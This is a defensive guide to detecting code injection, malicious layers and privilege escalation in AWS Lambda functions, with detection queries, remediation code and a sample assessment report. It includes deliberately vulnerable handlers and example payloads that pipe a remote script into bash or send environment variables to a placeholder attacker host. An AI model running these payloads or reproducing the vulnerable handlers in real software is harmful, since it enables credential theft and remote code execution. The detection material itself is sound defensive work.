Detecting Serverless Function Injection
When to Use
- Auditing Lambda/Cloud Functions for code injection vulnerabilities where unsanitized event data flows into dangerous runtime functions (
eval,exec,child_process.exec,os.system) - Investigating incidents where an attacker modified function code or layers to establish persistence or exfiltrate data from the serverless environment
- Detecting privilege escalation paths where an adversary with
lambda:UpdateFunctionCodeandiam:PassRolecan assume higher-privilege execution roles - Analyzing event source poisoning attacks where malicious payloads are injected through S3 object uploads, SQS messages, DynamoDB stream records, or API Gateway requests that trigger function execution
- Building detection rules for SOC teams monitoring serverless workloads for unauthorized function modifications, layer additions, and suspicious invocation patterns
Do not use for load testing or denial-of-service simulation against serverless functions, for testing against production functions processing live customer data without explicit authorization, or for modifying IAM policies in shared accounts without change management approval.
Prerequisites
- AWS account access with read permissions for Lambda, CloudTrail, IAM, CloudWatch Logs, and EventBridge
- AWS CLI v2 configured with appropriate credentials and region
- CloudTrail enabled with Data Events for Lambda (captures
Invokeevents) and Management Events (capturesUpdateFunctionCode,UpdateFunctionConfiguration,CreateFunction) - Python 3.9+ with
boto3,bandit(Python SAST), andsemgrepfor static analysis - Access to function source code or deployment packages for static analysis
- CloudWatch Logs Insights access for querying Lambda execution logs
Workflow
Step 1: Enumerate the Serverless Attack Surface
Map all Lambda functions and their event source triggers to understand injection entry points:
- List all Lambda functions and their configurations:
aws lambda list-functions --query 'Functions[*].[FunctionName,Runtime,Role,Handler,Layers]' --output table
- Map event source mappings: Each event source mapping is a potential injection entry point where untrusted data enters the function:
aws lambda list-event-source-mappings --output json | \
jq '.EventSourceMappings[] | {Function: .FunctionArn, Source: .EventSourceArn, State: .State}'
- Identify API Gateway triggers: API Gateway routes pass HTTP request data (headers, query strings, body, path parameters) directly into the Lambda event object:
aws apigateway get-rest-apis --query 'items[*].[id,name]' --output table
For each API, enumerate resources and methods to identify which Lambda functions receive user-controlled HTTP input.
- Identify S3 event triggers: S3 bucket notifications can trigger Lambda with attacker-controlled object keys and metadata:
aws s3api get-bucket-notification-configuration --bucket <bucket-name>
- Catalog function environment variables: Secrets in environment variables are exposed if an attacker achieves code execution inside the function:
aws lambda get-function-configuration --function-name <name> \
--query 'Environment.Variables' --output json
- Identify overprivileged execution roles: Functions with
*resource permissions or administrative policies are high-value escalation targets:
aws iam list-attached-role-policies --role-name <lambda-exec-role>
aws iam list-role-policies --role-name <lambda-exec-role>
Step 2: Static Analysis for Injection Sinks
Scan function code for dangerous patterns that allow injected event data to execute as code or commands:
- Download function deployment packages:
aws lambda get-function --function-name <name> --query 'Code.Location' --output text | xargs curl -o function.zip
unzip function.zip -d function_code/
- Python injection sinks (Lambda Python runtimes): Search for functions that execute strings as code:
# DANGEROUS: Direct eval/exec of event data
eval(event['expression']) # Code injection via eval
exec(event['code']) # Arbitrary code execution
os.system(event['command']) # OS command injection
subprocess.call(event['cmd'], shell=True) # Shell injection
os.popen(event['input']) # Command injection
pickle.loads(event['data']) # Deserialization attack
yaml.load(event['config']) # YAML deserialization (unsafe loader)
- Node.js injection sinks (Lambda Node.js runtimes):
// DANGEROUS: Direct execution of event data
eval(event.expression); // Code injection
new Function(event.code)(); // Dynamic function creation
child_process.exec(event.command); // OS command injection
child_process.execSync(event.cmd); // Synchronous command injection
vm.runInNewContext(event.script); // Sandbox escape potential
require('child_process').exec(event.input); // Import-and-execute pattern
- Run Semgrep with serverless rules: Use purpose-built rules that detect event data flowing into injection sinks:
semgrep --config "p/owasp-top-ten" --config "p/command-injection" \
--config "p/python-security" function_code/ --json --output semgrep_results.json
- Run Bandit for Python functions:
bandit -r function_code/ -f json -o bandit_results.json \
-t B102,B301,B307,B602,B603,B604,B605,B606,B607
These test IDs specifically target exec, pickle, eval, subprocess with shell=True, and other injection-relevant patterns.
- Custom pattern detection: Search for indirect injection patterns where event data is concatenated into strings that are later executed:
# Indirect injection: event data flows into SQL query string
query = f"SELECT * FROM users WHERE id = '{event['userId']}'"
cursor.execute(query) # SQL injection
# Indirect injection: event data flows into template rendering
template = event['template']
rendered = jinja2.Template(template).render() # SSTI
Step 3: Detect Event Source Poisoning
Analyze event sources for injection payloads that exploit how Lambda processes triggers:
- S3 event key injection: When a Lambda function processes S3 events, the object key from the event record can contain injection payloads. An attacker uploads an object with a malicious key name:
# Vulnerable Lambda handler
def handler(event, context):
bucket = event['Records'][0]['s3']['bucket']['name']
key = event['Records'][0]['s3']['object']['key']
# VULNERABLE: key is attacker-controlled
os.system(f"aws s3 cp s3://{bucket}/{key} /tmp/file")
Attack: Upload an object with key ; curl http://attacker.com/exfil?data=$(env) to inject a command through the S3 event.
- SQS message body injection: Lambda processes SQS messages where the body contains attacker-controlled data:
# Vulnerable Lambda handler
def handler(event, context):
for record in event['Records']:
message = json.loads(record['body'])
# VULNERABLE: message content used in eval
result = eval(message['formula'])
- API Gateway header/parameter injection: HTTP request data passes through API Gateway into the Lambda event:
# Vulnerable Lambda handler
def handler(event, context):
user_agent = event['headers']['User-Agent']
# VULNERABLE: header value used in shell command
subprocess.run(f"echo {user_agent} >> /tmp/access.log", shell=True)
- DynamoDB Stream record injection: Modified DynamoDB items trigger Lambda with the new record values. If an attacker can write to the table, they control the event data:
# Vulnerable Lambda handler
def handler(event, context):
for record in event['Records']:
new_image = record['dynamodb']['NewImage']
config = new_image['config']['S']
# VULNERABLE: DynamoDB record value used in exec
exec(config)
- Detection via CloudWatch Logs Insights: Query for evidence of injection attempts in function execution logs:
fields @timestamp, @message
| filter @message like /(?i)(eval|exec|os\.system|child_process|subprocess|import os)/
| filter @message like /(?i)(error|exception|traceback|syntax)/
| sort @timestamp desc
| limit 100
Step 4: Detect Malicious Lambda Layer Injection
Identify unauthorized Lambda layers that intercept function execution or exfiltrate data:
- Audit current layer attachments: List all functions and their layer versions to identify unexpected additions:
aws lambda list-functions --query 'Functions[*].[FunctionName,Layers[*].Arn]' --output json
- Detect layer modification events in CloudTrail: Query for
UpdateFunctionConfigurationevents that add or change layers:
aws cloudtrail lookup-events \
--lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionConfiguration \
--start-time "2026-03-12T00:00:00Z" \
--end-time "2026-03-19T23:59:59Z" \
--query 'Events[*].[EventTime,Username,CloudTrailEvent]'
Parse the CloudTrailEvent JSON to check if Layers was modified in the request parameters.
- Analyze layer contents: Download and inspect layer packages for malicious code:
aws lambda get-layer-version --layer-name <layer-name> --version-number <version> \
--query 'Content.Location' --output text | xargs curl -o layer.zip
unzip layer.zip -d layer_contents/
# Search for suspicious patterns
grep -rn "urllib\|requests\|http\|socket\|exfil\|base64\|subprocess" layer_contents/
- Layer hijacking indicators: A malicious layer can override the function's runtime behavior by placing files in the runtime's search path:
- Python: Layer code in
/opt/python/is imported before the function's own modules - Node.js: Layer code in
/opt/nodejs/node_modules/overrides function dependencies - A layer providing a modified
boto3package can intercept all AWS API calls, log credentials, and forward requests to an attacker-controlled endpoint
- CloudTrail detection query for layer changes:
{
"source": ["aws.lambda"],
"detail-type": ["AWS API Call via CloudTrail"],
"detail": {
"eventName": ["UpdateFunctionConfiguration20150331v2", "PublishLayerVersion20181031"],
"errorCode": [{"exists": false}]
}
}
Step 5: Detect IAM Privilege Escalation via Lambda
Identify escalation paths where attackers modify functions to assume higher-privilege roles:
- The Lambda privilege escalation pattern: An attacker with
lambda:UpdateFunctionCodeandiam:PassRolepermissions can:
- Identify a Lambda function with a high-privilege execution role (e.g., AdministratorAccess)
- Modify the function's code to call
sts:GetCallerIdentityor perform privileged actions - Invoke the function, which executes with the high-privilege role
- Exfiltrate the role's temporary credentials from the function's environment variables (
AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY,AWS_SESSION_TOKEN)
- Detect UpdateFunctionCode events: Monitor CloudTrail for function code modifications:
aws cloudtrail lookup-events \
--lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionCode20150331v2 \
--start-time "2026-03-12T00:00:00Z" \
--query 'Events[*].[EventTime,Username,Resources[0].ResourceName]' --output table
- Detect PassRole to Lambda:
iam:PassRoleis required to attach a different execution role to a function. Monitor for this:
# CloudWatch Logs Insights on CloudTrail logs
fields eventTime, userIdentity.arn, requestParameters.functionName, requestParameters.role
| filter eventName = "UpdateFunctionConfiguration20150331v2"
| filter ispresent(requestParameters.role)
| sort eventTime desc
- Detect credential exfiltration from Lambda: A compromised function may call STS or create new IAM entities:
fields eventTime, userIdentity.arn, eventName, sourceIPAddress
| filter userIdentity.arn like /.*:assumed-role\/.*lambda.*/
| filter eventName in ["GetCallerIdentity", "CreateUser", "AttachUserPolicy",
"CreateAccessKey", "AssumeRole", "PutUserPolicy"]
| sort eventTime desc
- EventBridge rule for real-time alerting: Create an EventBridge rule to trigger an SNS alert whenever function code is modified:
{
"source": ["aws.lambda"],
"detail-type": ["AWS API Call via CloudTrail"],
"detail": {
"eventName": [
"UpdateFunctionCode20150331v2",
"UpdateFunctionConfiguration20150331v2",
"CreateFunction20150331"
],
"errorCode": [{"exists": false}]
}
}
Step 6: Implement Runtime Injection Prevention
Deploy runtime protection controls to prevent injection at execution time:
- Input validation at handler entry: Validate and sanitize all event data before processing:
import re
import json
from functools import wraps
SAFE_PATTERNS = {
'userId': re.compile(r'^[a-zA-Z0-9\-]{1,64}$'),
'email': re.compile(r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'),
'action': re.compile(r'^(get|list|create|update|delete)$'),
}
def validate_event(schema):
"""Decorator that validates Lambda event against a whitelist schema."""
def decorator(func):
@wraps(func)
def wrapper(event, context):
for field, pattern in schema.items():
value = event.get(field, '')
if isinstance(value, str) and not pattern.match(value):
return {
'statusCode': 400,
'body': json.dumps({'error': f'Invalid {field}'})
}
return func(event, context)
return wrapper
return decorator
@validate_event(SAFE_PATTERNS)
def handler(event, context):
# Event data is validated before reaching this point
user_id = event['userId']
# Safe to use in queries with parameterized statements
return {'statusCode': 200, 'body': json.dumps({'user': user_id})}
- Lambda function URL authorization: Ensure functions exposed via URLs require IAM auth:
aws lambda get-function-url-config --function-name <name> \
--query 'AuthType' --output text
# Must return "AWS_IAM", not "NONE"
- Least privilege execution roles: Restrict the function's IAM role to the minimum required permissions:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"dynamodb:GetItem",
"dynamodb:PutItem"
],
"Resource": "arn:aws:dynamodb:us-east-1:111122223333:table/UserTable"
},
{
"Effect": "Allow",
"Action": "logs:*",
"Resource": "arn:aws:logs:us-east-1:111122223333:log-group:/aws/lambda/my-function:*"
}
]
}
- SCP to prevent dangerous Lambda modifications: Apply a Service Control Policy at the organization level to restrict who can modify Lambda functions and pass roles:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyLambdaCodeUpdateExceptCICD",
"Effect": "Deny",
"Action": [
"lambda:UpdateFunctionCode",
"lambda:UpdateFunctionConfiguration"
],
"Resource": "*",
"Condition": {
"StringNotLike": {
"aws:PrincipalArn": "arn:aws:iam::*:role/CICD-DeploymentRole"
}
}
}
]
}
- AWS Lambda Powertools for structured logging: Emit structured security events that can be ingested by SIEM:
from aws_lambda_powertools import Logger, Tracer
from aws_lambda_powertools.utilities.validation import validate
logger = Logger(service="payment-processor")
tracer = Tracer()
@logger.inject_lambda_context
@tracer.capture_lambda_handler
def handler(event, context):
logger.info("Processing event", extra={
"source_ip": event.get('requestContext', {}).get('identity', {}).get('sourceIp'),
"user_agent": event.get('headers', {}).get('User-Agent'),
"http_method": event.get('httpMethod'),
})
Key Concepts
| Term | Definition | |------|------------| | Event Source Poisoning | An attack where malicious data is injected into a serverless event source (S3, SQS, DynamoDB Stream, API Gateway) to trigger code execution or injection when the function processes the event | | Function Injection | Exploitation of unsanitized event data that flows into dangerous runtime functions (eval, exec, os.system, child_process.exec) within a serverless function handler | | Lambda Layer Hijacking | An attack where a malicious Lambda layer is attached to a function to intercept execution, override dependencies, or exfiltrate data by placing code in the runtime's module search path | | IAM Privilege Escalation via Lambda | A technique where an attacker with UpdateFunctionCode and PassRole permissions modifies a function to execute with a higher-privilege IAM role, extracting temporary credentials | | OWASP Serverless Top 10 | A security framework identifying the ten most critical risks in serverless architectures, including injection (SAS-1), broken authentication (SAS-2), and over-privileged functions (SAS-6) | | Cold Start Injection | An attack that targets the function initialization phase where environment variables, layer code, and extensions execute before the handler, potentially in an unmonitored context | | Execution Role | The IAM role assumed by a Lambda function during execution, providing temporary credentials that define the function's AWS API access permissions |
Tools & Systems
- Semgrep: Static analysis tool with serverless-specific rule packs that detect event data flowing into injection sinks across Python, Node.js, Java, and Go Lambda runtimes
- Bandit: Python-specific SAST tool that identifies security issues including use of eval, exec, subprocess with shell=True, and pickle deserialization
- AWS CloudTrail: Logs Lambda management events (UpdateFunctionCode, CreateFunction) and data events (Invoke) for detecting unauthorized modifications and anomalous invocation patterns
- CloudWatch Logs Insights: Query engine for searching Lambda execution logs for injection attempt indicators, runtime errors, and suspicious command patterns
- AWS Config: Evaluates Lambda function configurations against compliance rules including layer inventory, execution role permissions, and function URL authorization types
- Prowler: Open-source AWS security assessment tool with Lambda-specific checks for public access, overprivileged roles, and missing encryption
Common Scenarios
Scenario: Detecting and Responding to a Lambda-Based Privilege Escalation Attack
Context: A SOC analyst receives a GuardDuty alert for UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS on an IAM role used by multiple Lambda functions. Investigation reveals that an attacker compromised a developer's AWS credentials with lambda:UpdateFunctionCode permissions and modified a payment processing function to exfiltrate the execution role's temporary credentials.
Approach:
- Query CloudTrail for
UpdateFunctionCodeevents in the past 7 days to identify when the function was modified and by which principal:
fields eventTime, userIdentity.arn, requestParameters.functionName, sourceIPAddress
| filter eventName = "UpdateFunctionCode20150331v2"
| filter requestParameters.functionName = "payment-processor"
| sort eventTime desc
- Discover that the function was modified from an IP address in an unexpected geographic location at 02:47 UTC, outside of normal deployment windows
- Download the modified function code and find an injected snippet that POSTs
os.environ['AWS_ACCESS_KEY_ID'],AWS_SECRET_ACCESS_KEY, andAWS_SESSION_TOKENto an external endpoint on each invocation - Check if the attacker also added a malicious layer by querying for
UpdateFunctionConfigurationevents with layer changes - Verify the function's execution role permissions: the payment-processor role has
dynamodb:*,s3:GetObject,s3:PutObject, andsqs:SendMessageacross all resources, exceeding least privilege - Search CloudTrail for API calls made by the exfiltrated credentials from outside AWS, finding
sts:GetCallerIdentity,s3:ListBuckets,dynamodb:Scanon the customer table, andiam:CreateUserattempts - Respond by reverting the function code from the last known-good deployment package in the CI/CD artifact store, rotating the execution role's session tokens, and adding an SCP that restricts
lambda:UpdateFunctionCodeto the CI/CD role only
Pitfalls:
- Only checking the function code and missing malicious layers that persist even after the function code is reverted
- Not searching for lateral movement from the exfiltrated credentials to other AWS services, missing data exfiltration from DynamoDB or S3
- Failing to check if the attacker created new IAM users, access keys, or roles during the window the credentials were valid
- Restoring the function without first preserving the malicious code as forensic evidence
- Not implementing preventive controls (SCP, EventBridge alerting) after remediation, leaving the same attack path open
Output Format
## Serverless Function Injection Assessment
**Account**: 111122223333
**Region**: us-east-1
**Functions Analyzed**: 47
**Event Source Mappings**: 23
**Assessment Date**: 2026-03-19
### Critical Findings
#### FINDING-001: OS Command Injection in S3 Event Handler
**Function**: image-resize-processor
**Runtime**: python3.12
**Severity**: Critical (CVSS 9.8)
**Sink**: os.system() at handler.py:34
**Source**: event['Records'][0]['s3']['object']['key']
**Attack Vector**: Upload S3 object with key containing shell metacharacters
**Proof of Concept**:
Object key: `; curl http://attacker.com/shell.sh | bash`
Results in: os.system("convert /tmp/; curl http://attacker.com/shell.sh | bash")
**Remediation**: Replace os.system() with subprocess.run() with shell=False
and validate the S3 key against an allowlist pattern.
#### FINDING-002: IAM Privilege Escalation Path
**Function**: data-export-worker
**Execution Role**: arn:aws:iam::111122223333:role/DataExportRole
**Role Permissions**: s3:*, dynamodb:*, iam:PassRole, lambda:*
**Risk**: Any user with lambda:UpdateFunctionCode can modify this function
to execute arbitrary AWS API calls with AdministratorAccess-equivalent permissions.
**Remediation**: Apply least privilege to the execution role, restrict
lambda:UpdateFunctionCode via SCP to CI/CD pipeline role only.
#### FINDING-003: Unauthorized Layer Attached
**Function**: auth-token-validator
**Layer**: arn:aws:lambda:us-east-1:999888777666:layer:utility-lib:3
**Layer Account**: External account (999888777666)
**Risk**: Layer from untrusted external account can intercept all function
invocations, modify responses, or exfiltrate environment variables.
**Remediation**: Remove the external layer, vendor the dependency into the
function's deployment package, add AWS Config rule to block external layers.
### Detection Rules Deployed
- EventBridge rule: Alert on UpdateFunctionCode from non-CI/CD principals
- CloudWatch alarm: Function error rate spike > 3x baseline in 5 minutes
- Config rule: Lambda functions must not have layers from external accounts
- Config rule: Lambda execution roles must not have wildcard resource permissions